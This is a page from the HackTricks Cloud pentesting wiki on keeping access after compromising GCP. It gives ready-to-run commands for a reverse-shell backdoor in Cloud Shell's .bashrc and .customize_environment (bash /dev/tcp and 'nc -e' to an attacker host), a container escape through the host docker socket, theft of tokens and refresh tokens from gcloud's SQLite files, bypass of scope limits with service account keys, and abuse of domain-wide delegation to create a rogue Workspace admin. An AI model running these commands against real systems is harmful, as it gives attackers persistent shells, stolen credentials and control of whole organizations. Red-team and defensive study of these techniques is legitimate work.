HackTricks Cloud
HackTricks Cloud
Ask or search…
K
Links
Comment on page

GCP - Non-svc Persistance

Support HackTricks and get benefits!
These are useful techniques once, somehow, you have compromised some GCP credentials or machine running in a GCP environment.

Google’s Cloud Shell

Persistent Backdoor

Google Cloud Shell provides you with command-line access to your cloud resources directly from your browser without any associated cost.
You can access Google's Cloud Shell from the web console or running gcloud cloud-shell ssh.
This console has some interesting capabilities for attackers:
  1. 1.
    Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance.
  2. 2.
    Said instance will maintain its home directory for at least 120 days if no activity happens.
  3. 3.
    There is no capabilities for an organisation to monitor the activity of that instance.
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell everytime it's run just by doing:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
There is another file in the home folder called .customize_environment that, if exists, is going to be executed everytime the user access the cloud shell (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
Note that the first time an action is performed in Cloud Shell that requires authentication, it pops up an authorization window in the user’s browser that must be accepted before the command runs. If an unexpected pop-up comes up, a target could get suspicious and burn the persistence method.

Google Cloud Shell Container Escape

Note that the Google Cloud Shell runs inside a container, you can easily escape to the host by doing:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
Moreover, notice that from the host you can find a service account token:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
With the following scopes:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west[email protected]/scopes"
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Token Hijacking

Authenticated User

If you manage to access the home folder of an authenticated user in GCP, by default, you will be able to get tokens for that user as long as you want without needing to authenticated and independently on the machine you use his tokens from and even if the user has MFA configured.
This is because by default you will be able to use the refresh token as long as you want to generate new tokens.
To get the current token of a user you can run:
sqlite3 ./.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
To get the details to generate a new access token run:
sqlite3 ./.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
To get a new refreshed access token with the refresh token, client ID, and client secret run:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Service Accounts

Just like with authenticated users, if you manage to compromise the private key file of a service account you will be able to access it usually as long as you want. However, if you steal the OAuth token of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the victim deletes the private api key, the OAuh token will still be valid until it expires.

Metadata

Obviously, as long as you are inside a machine running in the GCP environment you will be able to access the service account attached to that machine contacting the metadata endpoint (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).

Remediations

Some remediations for these techniques are explained in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Bypassing access scopes

When access scopes are used, the OAuth token that is generated for the computing instance (VM) will have a scope limitation included. However, you might be able to bypass this limitation and exploit the permissions the compromised account has.
The best way to bypass this restriction is either to find new credentials in the compromised host, to find the service key to generate an OUATH token without restriction or to jump to a different VM less restricted.
Pop another box
It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of gcloud compute instances list --quiet --format=json, look for instances with either the specific scope you want or the auth/cloud-platform all-inclusive scope.
Also keep an eye out for instances that have the default service account assigned ([email protected]).
Find service account keys
Therefore, if you find a service account key stored on the instance you can bypass the limitation. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.
Check if any service account has exported a key at some point with:
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
These files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. The default name for the file is [project-id]-[portion-of-key-id].json. So, if your project name is test-project then you can search the filesystem for test-project*.json looking for this key file.
The contents of the file look something like this:
{
"type": "service_account",
"project_id": "[PROJECT-ID]",
"private_key_id": "[KEY-ID]",
"private_key": "-----BEGIN PRIVATE KEY-----\n[PRIVATE-KEY]\n-----END PRIVATE KEY-----\n",
"client_email": "[SERVICE-ACCOUNT-EMAIL]",
"client_id": "[CLIENT-ID]",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://accounts.google.com/o/oauth2/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]"
}
Or, if generated from the CLI they will look like this:
{
"name": "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]",
"privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE",
"privateKeyData": "[PRIVATE-KEY]",
"validAfterTime": "[DATE]",
"validBeforeTime": "[DATE]",
"keyAlgorithm": "KEY_ALG_RSA_2048"
}
If you do find one of these files, you can tell the gcloud command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.
gcloud auth activate-service-account --key-file [FILE]
You can now test your new OAuth token as follows:
TOKEN=`gcloud auth print-access-token`
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
You should see https://www.googleapis.com/auth/cloud-platform listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.

Spreading to Workspace via domain-wide delegation of authority

Workspace is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc.
Service accounts in GCP can be granted the rights to programatically access user data in Workspace by impersonating legitimate users. This is known as domain-wide delegation. This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.
Workspace has its own API, completely separate from GCP. Permissions are granted to Workspace and there isn't any default relation between GCP and Workspace.
However, it's possible to give a service account permissions over a Workspace user. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have "Enabled" listed under the "domain-wide delegation" column. The column itself may not appear if no accounts are enabled (you can read the details of each service account to confirm this). As of this writing, there is no way to do this programatically, although there is a request for this feature in Google's bug tracker.
To create this relation it's needed to enable it in GCP and also in Workforce.

Test Workspace access

To test this access you'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.
This topic is a bit tricky… your service account has something called a "client_email" which you can see in the JSON credential file you export. It probably looks something like [email protected]. If you try to access Workforce API calls directly with that email, even with delegation enabled, you will fail. This is because the Workforce directory will not include the GCP service account's email addresses. Instead, to interact with Workforce, we need to actually impersonate valid Workforce users.
What you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.
Gitlab've created this Python script that can do two things - list the user directory and create a new administrative account. Here is how you would use it:
# Validate access only
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate [email protected] \
--domain target-org.com
# List the directory
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate [email protected] \
--domain target-org.com \
--list
# Create a new admin account
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate [email protected] \
--domain target-org.com \
--account pwned
You can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to Workforce, and will include a random password for the new admin account if one is created.
If you have success creating a new admin account, you can log on to the Google admin console and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.

References

Support HackTricks and get benefits!